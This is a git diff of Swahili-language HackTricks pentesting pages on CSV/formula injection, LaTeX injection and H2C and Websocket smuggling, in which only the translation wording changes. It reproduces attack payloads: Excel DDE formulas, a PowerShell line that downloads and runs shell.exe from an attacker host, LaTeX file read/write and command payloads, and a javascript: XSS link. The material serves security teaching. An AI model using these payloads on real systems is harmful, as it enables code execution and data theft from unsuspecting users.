@ -255,14 +245,14 @@ XS-Search inalenga katika **kuvuja taarifa za asili tofauti** kwa kutumia **mash
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa katika HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
|
@ -10,13 +10,13 @@ Njia nyingine za kusaidia HackTricks:
|
|||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
||||
**Kikundi cha Usalama cha Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -26,7 +26,7 @@ Njia nyingine za kusaidia HackTricks:
|
|||
|
||||
### Taarifa
|
||||
|
||||
Ikiwa **kuingizaji** yako inaonekana **imejumuishwa** ndani ya **faili za CSV** (au faili yoyote ambayo labda itafunguliwa na **Excel**), labda unaweza kuweka **fomula za Excel** ambazo zita **tekelezwa** wakati mtumiaji **anafungua faili** au wakati mtumiaji **anabonyeza kiungo** ndani ya karatasi ya Excel.
|
||||
Ikiwa **kuingizwa kwako** kunakuwa **kimeakisiwa** ndani ya **faili za CSV** (au faili yoyote ambayo labda itafunguliwa na **Excel**), unaweza kuweka **fomula za Excel** ambazo zita **tekelezwa** wakati mtumiaji **anafungua faili** au wakati mtumiaji **anabonyeza kiungo** ndani ya karatasi ya Excel.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Leo hii **Excel itatoa tahadhari** (mara kadhaa) kwa **mtumiaji wakati kitu kinapakuliwa kutoka nje ya Excel** ili kumzuia kufanya kitendo cha uovu. Kwa hivyo, juhudi maalum za Uhandisi wa Kijamii lazima zitumike kwa mzigo wa mwisho.
|
||||
|
@ -47,34 +47,34 @@ DDE ("cmd";"/C calc";"!A0")A0
|
|||
|
||||
Mfano ufuatao ulichukuliwa kutoka [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
|
||||
|
||||
Fikiria uvunjaji wa usalama katika mfumo wa Usimamizi wa Rekodi za Wanafunzi unaochexploitishwa kupitia shambulio la CSV injection. Nia kuu ya muhusika ni kuhatarisha mfumo unaotumiwa na walimu kusimamia maelezo ya wanafunzi. Mbinu inahusisha muhusika kuingiza mzigo mbaya kwenye programu, hasa kwa kuingiza fomula zenye madhara kwenye sehemu zilizokusudiwa kwa maelezo ya wanafunzi. Shambulio linavyoendelea kama ifuatavyo:
|
||||
Fikiria uvunjaji wa usalama katika mfumo wa Usimamizi wa Rekodi za Wanafunzi unaochunguzwa kupitia shambulio la kuingiza CSV. Nia kuu ya muhusika ni kuhatarisha mfumo unaotumiwa na walimu kusimamia maelezo ya wanafunzi. Mbinu inahusisha muhusika kuingiza mzigo mbaya kwenye programu, hasa kwa kuingiza fomula zenye madhara kwenye maeneo yanayolenga maelezo ya wanafunzi. Shambulio linatokea kama ifuatavyo:
|
||||
|
||||
1. **Kuingiza Mzigo Mbaya:**
|
||||
* Muhusika anawasilisha fomu ya maelezo ya mwanafunzi lakini anajumuisha fomula inayotumiwa kawaida kwenye karatasi za kielektroniki (k.m., `=HYPERLINK("<malicious_link>","Bonyeza hapa")`).
|
||||
* Fomula hii imeundwa kujenga kiungo, lakini inaelekeza kwenye seva mbaya inayodhibitiwa na muhusika.
|
||||
2. **Kuuza Data Iliyohatarishwa:**
|
||||
* Walimu, bila kufahamu uvunjaji, hutumia utendaji wa programu kuuza data kwenye faili ya CSV.
|
||||
* Faili ya CSV, inapofunguliwa, bado ina mzigo mbaya. Mzigo huu unaonekana kama kiungo kinachoweza kubonyezwa kwenye karatasi ya kielektroniki.
|
||||
* Walimu, bila kujua kuhusu tishio, hutumia utendaji wa programu kuuza data kwenye faili ya CSV.
|
||||
* Faili ya CSV, ikifunguliwa, bado ina mzigo mbaya. Mzigo huu unaonekana kama kiungo kinachoweza kubonyezwa kwenye karatasi ya kielektroniki.
|
||||
3. **Kuzindua Shambulio:**
|
||||
* Mwalimu anabonyeza kiungo, akiamini ni sehemu halali ya maelezo ya mwanafunzi.
|
||||
* Baada ya kubonyeza, data nyeti (inaweza kujumuisha maelezo kutoka kwenye karatasi ya kielektroniki au kompyuta ya mwalimu) inatumwa kwenye seva ya muhusika.
|
||||
* Mwalimu anabonyeza kiungo, akiamini kuwa sehemu halali ya maelezo ya mwanafunzi.
|
||||
* Baada ya kubonyeza, data nyeti (ikiwa ni pamoja na maelezo kutoka kwenye karatasi ya kielektroniki au kompyuta ya mwalimu) inatumwa kwenye seva ya muhusika.
|
||||
4. **Kuingiza Data:**
|
||||
* Seva ya muhusika inapokea na kuingiza data nyeti iliyotumwa kutoka kwenye kompyuta ya mwalimu.
|
||||
* Muhusika anaweza kutumia data hii kwa madhumuni mbaya mbalimbali, hivyo kuhatarisha zaidi faragha na usalama wa wanafunzi na taasisi.
|
||||
* Muhusika anaweza kutumia data hii kwa madhumuni mbaya mbalimbali, ikahatarisha zaidi faragha na usalama wa wanafunzi na taasisi.
|
||||
|
||||
### RCE
|
||||
|
||||
**Angalia** [**chapisho la asili**](https://notsosecure.com/data-exfiltration-formula-injection-part1) **kwa maelezo zaidi.**
|
||||
**Angalia** [**chapisho la awali**](https://notsosecure.com/data-exfiltration-formula-injection-part1) **kwa maelezo zaidi.**
|
||||
|
||||
Katika mipangilio maalum au toleo za zamani za Excel, kipengele kinachoitwa Dynamic Data Exchange (DDE) kinaweza kuchexploitishwa kwa kutekeleza amri za kupendelea. Ili kutumia hili, mipangilio ifuatayo lazima iwezeshwe:
|
||||
Katika mipangilio maalum au toleo za zamani za Excel, kipengele kinachoitwa Dynamic Data Exchange (DDE) kinaweza kutumiwa kutekeleza amri za kupendelea. Ili kutumia hili, mipangilio ifuatayo lazima iwezeshwe:
|
||||
|
||||
* Nenda kwa Faili → Chaguo → Kituo cha Kuaminika → Mipangilio ya Kituo cha Kuaminika → Yaliyomo ya Nje, na wezesha **Uzinduzi wa Seva ya Kubadilishana Data ya Kudumu**.
|
||||
|
||||
Wakati karatasi ya kielektroniki yenye mzigo mbaya inapofunguliwa (na ikiwa mtumiaji anakubali onyo), mzigo huo unatekelezwa. Kwa mfano, ili kuzindua programu ya kuhesabu, mzigo ungekuwa:
|
||||
Wakati karatasi ya kielektroniki yenye mzigo mbaya inapofunguliwa (na ikiwa mtumiaji anakubali onyo), mzigo huo unatekelezwa. Kwa mfano, kuzindua programu ya kuhesabu, mzigo ungekuwa:
|
||||
```markdown
|
||||
`=cmd|' /C calc'!xxx`
|
||||
```
|
||||
Makomando ya ziada yanaweza pia kutekelezwa, kama vile kupakua na kutekeleza faili kutumia PowerShell:
|
||||
Unaweza pia kutekeleza amri zaidi, kama vile kupakua na kutekeleza faili kutumia PowerShell:
|
||||
```bash
|
||||
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
|
||||
```
|
||||
|
@ -100,12 +100,12 @@ Google Sheets inatoa kazi ambazo zinaweza kutumiwa kwa utoaji wa data wa OOB:
|
|||
|
||||
## Uingizaji wa LaTeX
|
||||
|
||||
Kawaida seva ambazo utazipata kwenye mtandao zinazotumia **`pdflatex`** kubadilisha **mimba ya LaTeX kuwa PDF**.\
|
||||
Programu hii hutumia sifa 3 kuu kwa ajili ya (kutokuruhusu) utekelezaji wa amri:
|
||||
Kawaida seva ambazo utazipata kwenye mtandao zinatumia **`pdflatex`** kubadilisha msimbo wa LaTeX kuwa PDF.\
|
||||
Programu hii hutumia sifa 3 kuu kwa ajili ya kutekeleza au kutokutekeleza amri:
|
||||
|
||||
* **`--no-shell-escape`**: **Zima** ujenzi wa `\write18{amri}`, hata kama imezimwa kwenye faili ya texmf.cnf.
|
||||
* **`--shell-restricted`**: Sawa na `--shell-escape`, lakini **imepunguzwa** kwa seti 'salama' ya **amri zilizopangwa** (\*\*Kwenye Ubuntu 16.04 orodha iko kwenye `/usr/share/texmf/web2c/texmf.cnf`).
|
||||
* **`--shell-escape`**: **Ruhusu** ujenzi wa `\write18{amri}`. Amri inaweza kuwa amri yoyote ya kabati. Ujenzi huu kawaida unazuiliwa kwa sababu za usalama.
|
||||
* **`--no-shell-escape`**: **Zima** ujenzi wa `\write18{amri}`, hata kama umewezeshwa kwenye faili ya texmf.cnf.
|
||||
* **`--shell-restricted`**: Sawa na `--shell-escape`, lakini **imepunguzwa** kwa seti 'salama' ya **amri zilizopangwa** (\*\*Kwenye Ubuntu 16.04 orodha iko katika `/usr/share/texmf/web2c/texmf.cnf`).
|
||||
* **`--shell-escape`**: **Washa** ujenzi wa `\write18{amri}`. Amri inaweza kuwa amri yoyote ya kabati. Ujenzi huu kawaida unazuiliwa kwa sababu za usalama.
|
||||
|
||||
Hata hivyo, kuna njia nyingine za kutekeleza amri, hivyo ili kuepuka RCE ni muhimu sana kutumia `--shell-restricted`.
|
||||
|
||||
|
@ -137,7 +137,7 @@ Inaweza kuhitaji kurekebisha uingizaji na vifungashio kama \[ au $.
|
|||
\repeat
|
||||
\closein\file
|
||||
```
|
||||
### Andika faili <a href="#andika-faili" id="andika-faili"></a>
|
||||
### Andika fail <a href="#andika-fail" id="andika-fail"></a>
|
||||
```bash
|
||||
\newwrite\outfile
|
||||
\openout\outfile=cmd.tex
|
||||
|
@ -179,14 +179,14 @@ Ikiwa unapata kosa lolote la LaTex, fikiria kutumia base64 kupata matokeo bila h
|
|||
\input|ls|base4
|
||||
\input{|"/bin/hostname"}
|
||||
```
|
||||
### Kuvuka Site Scripting <a href="#cross-site-scripting" id="cross-site-scripting"></a>
|
||||
### Kuvuka Site Scripting <a href="#kuvuka-site-scripting" id="kuvuka-site-scripting"></a>
|
||||
|
||||
Kutoka [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
|
||||
```bash
|
||||
\url{javascript:alert(1)}
|
||||
\href{javascript:alert(1)}{placeholder}
|
||||
```
|
||||
## Kuingiza Ghostscript
|
||||
## Uingizaji wa Ghostscript
|
||||
|
||||
**Angalia** [**https://blog.redteam-pentesting.de/2023/ghostscript-overview/**](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)
|
||||
|
||||
|
@ -199,20 +199,20 @@ Kutoka [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
|
|||
|
||||
**Kikundi cha Usalama cha Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kuingiza AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Pata [**swagi rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kuingiza kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,50 +1,50 @@
|
|||
# Kuboresha Kichwa cha Udukuzi
|
||||
# Kuboresha Kichwa cha Kuingiza
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
||||
**Kikundi cha Usalama cha Try Hard**
|
||||
**Kikundi cha Usalama cha Kujitahidi**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### H2C Smuggling <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
|
||||
### Kuingiza H2C <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
|
||||
|
||||
#### HTTP2 Kupitia Nakala Wazi (H2C) <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
|
||||
#### HTTP2 Juu ya Nakala Wazi (H2C) <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
|
||||
|
||||
H2C, au **http2 kupitia nakala wazi**, inatofautiana na kawaida ya mawasiliano ya HTTP ya muda mfupi kwa kuboresha **mawasiliano ya HTTP ya kawaida kuwa ya kudumu**. Mawasiliano yaliyoboreshwa hutumia itifaki ya binary ya http2 kwa mawasiliano endelevu, tofauti na asili ya ombi moja la HTTP ya maandishi ya kawaida.
|
||||
H2C, au **http2 juu ya nakala wazi**, inatofautiana na kawaida ya mawasiliano ya HTTP ya muda mfupi kwa kuboresha **mawasiliano ya HTTP ya kawaida kuwa moja endelevu**. Mawasiliano yaliyoboreshwa hutumia itifaki ya binary ya http2 kwa mawasiliano yanayoendelea, tofauti na asili ya ombi moja la HTTP ya nakala wazi.
|
||||
|
||||
Muhimu wa suala la udukuzi linatokea wakati wa matumizi ya **proxy ya kurudisha**. Kawaida, proxy ya kurudisha huprocess na kutuma maombi ya HTTP kwa seva ya nyuma, kurudisha jibu la seva ya nyuma baada ya hapo. Walakini, wakati kichwa cha `Connection: Upgrade` kipo katika ombi la HTTP (mara nyingi huonekana na mawasiliano ya websocket), **proxy ya kurudisha inaendeleza mawasiliano ya kudumu** kati ya mteja na seva, kurahisisha kubadilishana kwa mara kwa mara inayohitajika na itifaki fulani. Kwa mawasiliano ya H2C, kufuata RFC kunahitaji uwepo wa vichwa vitatu maalum:
|
||||
Makali ya tatizo la kuingiza hutokea wakati wa matumizi ya **proxy ya kurudisha**. Kawaida, proxy ya kurudisha huprocess na kutuma maombi ya HTTP kwa seva ya nyuma, kurudisha jibu la seva ya nyuma baada ya hapo. Walakini, wakati kichwa cha `Connection: Kuboresha` kipo katika ombi la HTTP (mara nyingi huonekana na mawasiliano ya websocket), **proxy inaendeleza mawasiliano endelevu** kati ya mteja na seva, kurahisisha kubadilishana kwa mara kwa mara inayohitajika na itifaki fulani. Kwa mawasiliano ya H2C, kufuata RFC kunahitaji uwepo wa vichwa vitatu maalum:
|
||||
```
|
||||
Upgrade: h2c
|
||||
HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
|
||||
Connection: Upgrade, HTTP2-Settings
|
||||
```
|
||||
Mkazo unatokea wakati, baada ya kuboresha uhusiano, reverse proxy inakoma kusimamia maombi binafsi, ikidhani kazi yake ya kuongoza imekamilika baada ya kuanzisha uhusiano. Kuchexploit H2C Smuggling kuruhusu kuzunguka sheria za reverse proxy zilizotumika wakati wa usindikaji wa maombi, kama vile kuongoza kulingana na njia, uthibitishaji, na usindikaji wa WAF, ikidhani uhusiano wa H2C unafanikiwa kuanzishwa.
|
||||
Mkazo unatokea wakati, baada ya kuboresha uhusiano, reverse proxy inakoma kusimamia maombi binafsi, ikidhani kazi yake ya kuongoza imekamilika baada ya kuanzisha uhusiano. Kuchexploit H2C Smuggling inaruhusu kuzunguka sheria za reverse proxy zilizotumika wakati wa usindikaji wa maombi, kama vile kuongoza kulingana na njia, uthibitishaji, na usindikaji wa WAF, ikidhani uhusiano wa H2C unafanikiwa kuanzishwa.
|
||||
|
||||
#### Proxies Zenye Udhaifu <a href="#exploitation" id="exploitation"></a>
|
||||
|
||||
Mkazo unategemea jinsi reverse proxy inavyoshughulikia vichwa vya `Upgrade` na mara nyingine `Connection`. Proxies zifuatazo kwa asili hufikisha vichwa hivi wakati wa kuendesha proxy-pass, hivyo kwa asili kuwezesha H2C smuggling:
|
||||
Mkazo unategemea jinsi reverse proxy inavyoshughulikia vichwa vya `Upgrade` na mara nyingine `Connection`. Proxies zifuatazo kwa asili huzisonga vichwa hivi wakati wa kupeleka kwa proxy-pass, hivyo kwa asili kuwezesha H2C smuggling:
|
||||
|
||||
* HAProxy
|
||||
* Traefik
|
||||
* Nuster
|
||||
|
||||
Kinyume chake, huduma hizi kwa asili hazifanyi mbele vichwa vyote wakati wa kuendesha proxy-pass. Hata hivyo, zinaweza kuwekwa kwa njia isiyokuwa salama, kuruhusu mbele bila kufanyiwa uchujaji wa vichwa vya `Upgrade` na `Connection`:
|
||||
Kinyume chake, huduma hizi kwa asili hazisongi vichwa vyote wakati wa kupeleka kwa proxy-pass. Hata hivyo, zinaweza kuwekwa kwa njia isiyo salama, kuruhusu usongaji usio na kichujio wa vichwa vya `Upgrade` na `Connection`:
|
||||
|
||||
* AWS ALB/CLB
|
||||
* NGINX
|
||||
|
@ -57,27 +57,27 @@ Kinyume chake, huduma hizi kwa asili hazifanyi mbele vichwa vyote wakati wa kuen
|
|||
|
||||
#### Kuchexploit <a href="#exploitation" id="exploitation"></a>
|
||||
|
||||
Ni muhimu kutambua kwamba si seva zote kwa asili zinafikisha vichwa vinavyohitajika kwa ajili ya kuboresha uhusiano wa H2C kwa njia inayofuata sheria. Kwa hivyo, seva kama vile AWS ALB/CLB, NGINX, na Apache Traffic Server, miongoni mwa nyingine, kwa asili zinazuia uhusiano wa H2C. Hata hivyo, ni vyema kujaribu na toleo lisilofuata viwango vya `Connection: Upgrade`, ambavyo havijumuishi thamani ya `HTTP2-Settings` kutoka kwa kichwa cha `Connection`, kwani baadhi ya seva za nyuma hazizingatii viwango.
|
||||
Ni muhimu kutambua kwamba si seva zote kwa asili zinasonga vichwa vinavyohitajika kwa ajili ya kuboresha uhusiano wa H2C kwa njia inayofuata sheria. Kwa hivyo, seva kama vile AWS ALB/CLB, NGINX, na Apache Traffic Server, miongoni mwa nyingine, kwa asili zinazuia uhusiano wa H2C. Hata hivyo, ni vyema kujaribu na toleo lisilofuata viwango vya `Connection: Upgrade`, ambavyo havijumuishi thamani ya `HTTP2-Settings` kutoka kwa kichwa cha `Connection`, kwani baadhi ya seva za nyuma hazizingatii viwango.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Bila kujali **njia** maalum iliyoteuliwa katika URL ya `proxy_pass` (k.m., `http://backend:9999/socket.io`), uhusiano ulioanzishwa unarudi kwa chaguo la msingi la `http://backend:9999`. Hii inaruhusu mwingiliano na njia yoyote ndani ya hatima hiyo, ikitumia mbinu hii. Hivyo, kutaja njia katika URL ya `proxy_pass` haizuili upatikanaji.
|
||||
{% endhint %}
|
||||
|
||||
Zana [**h2csmuggler na BishopFox**](https://github.com/BishopFox/h2csmuggler) na [**h2csmuggler na assetnote**](https://github.com/assetnote/h2csmuggler) huwezesha majaribio ya **kuzunguka ulinzi uliowekwa na proxy** kwa kuanzisha uhusiano wa H2C, hivyo kuruhusu upatikanaji wa rasilimali zilizolindwa na proxy.
|
||||
Zana [**h2csmuggler na BishopFox**](https://github.com/BishopFox/h2csmuggler) na [**h2csmuggler na assetnote**](https://github.com/assetnote/h2csmuggler) hufanikisha majaribio ya **kuzunguka ulinzi uliowekwa na proxy** kwa kuanzisha uhusiano wa H2C, hivyo kuwezesha upatikanaji wa rasilimali zilizolindwa na proxy.
|
||||
|
||||
Kwa habari zaidi kuhusu mkazo huu, hasa kuhusu NGINX, tazama [**rasilimali hii iliyodetauliwa**](../network-services-pentesting/pentesting-web/nginx.md#proxy\_set\_header-upgrade-and-connection).
|
||||
|
||||
## Websocket Smuggling
|
||||
|
||||
Websocket smuggling, tofauti na kuanzisha handaki ya HTTP2 kwa hatima inayopatikana kupitia proxy, inaanzisha handaki ya Websocket kuzunguka vizuizi vya proxy na kurahisisha mawasiliano moja kwa moja na hatima.
|
||||
Websocket smuggling, tofauti na kuanzisha handaki ya HTTP2 kwa hatima inayopatikana kupitia proxy, inaanzisha handaki la Websocket kuzunguka vizuizi vya proxy na kurahisisha mawasiliano moja kwa moja na hatima.
|
||||
|
||||
### Skena 1
|
||||
|
||||
Katika skena hii, hatima inayotoa API ya Websocket ya umma pamoja na API ya REST ya ndani isiyopatikana inalengwa na mteja mhalifu anayetafuta upatikanaji wa API ya REST ya ndani. Shambulio linajitokeza katika hatua kadhaa:
|
||||
|
||||
1. Mteja anaanza kwa kutuma ombi la Kuboresha kwa reverse proxy na toleo sahihi la itifaki ya `Sec-WebSocket-Version` kwenye kichwa. Proxy, ikishindwa kuthibitisha kichwa cha `Sec-WebSocket-Version`, inaamini ombi la Kuboresha ni sahihi na kuliforward kwa hatima.
|
||||
2. Hatima inajibu na nambari ya hali `426`, ikionyesha toleo lisilo sahihi la itifaki katika kichwa cha `Sec-WebSocket-Version`. Reverse proxy, ikipuuza hali ya jibu la hatima, inadhani kuwa tayari kwa mawasiliano ya WebSocket na kusambaza jibu kwa mteja.
|
||||
3. Kufuatia hivyo, reverse proxy inadanganywa kuamini kuwa uhusiano wa WebSocket umewekwa kati ya mteja na hatima, wakati halisi, hatima ilikataa ombi la Kuboresha. Hata hivyo, proxy inadumisha uhusiano wa TCP au TLS wazi kati ya mteja na hatima, kuruhusu mteja upatikanaji usiozuiliwa wa API ya REST ya faragha kupitia uhusiano huu.
|
||||
1. Mteja anaanza kwa kutuma ombi la Kuboresha kwa reverse proxy na toleo lisilo sahihi la itifaki ya `Sec-WebSocket-Version` kwenye kichwa. Proxy, ikishindwa kuthibitisha kichwa cha `Sec-WebSocket-Version`, inaamini ombi la Kuboresha ni sahihi na kulipeleka kwa hatima.
|
||||
2. Hatima inajibu na nambari ya hali `426`, ikionyesha toleo lisilo sahihi la itifaki katika kichwa cha `Sec-WebSocket-Version`. Reverse proxy, ikipuuza hali ya jibu la hatima, inadhani kuwa tayari kwa mawasiliano ya Websocket na inapeleka jibu kwa mteja.
|
||||
3. Kufuatia hivyo, reverse proxy inadanganywa kuamini kuwa uhusiano wa Websocket umewekwa kati ya mteja na hatima, wakati ukweli ni kwamba hatima ilikataa ombi la Kuboresha. Hata hivyo, proxy inadumisha uhusiano wa TCP au TLS kati ya mteja na hatima, kuruhusu mteja upatikanaji usiozuiliwa wa API ya REST ya faragha kupitia uhusiano huu.
|
||||
|
||||
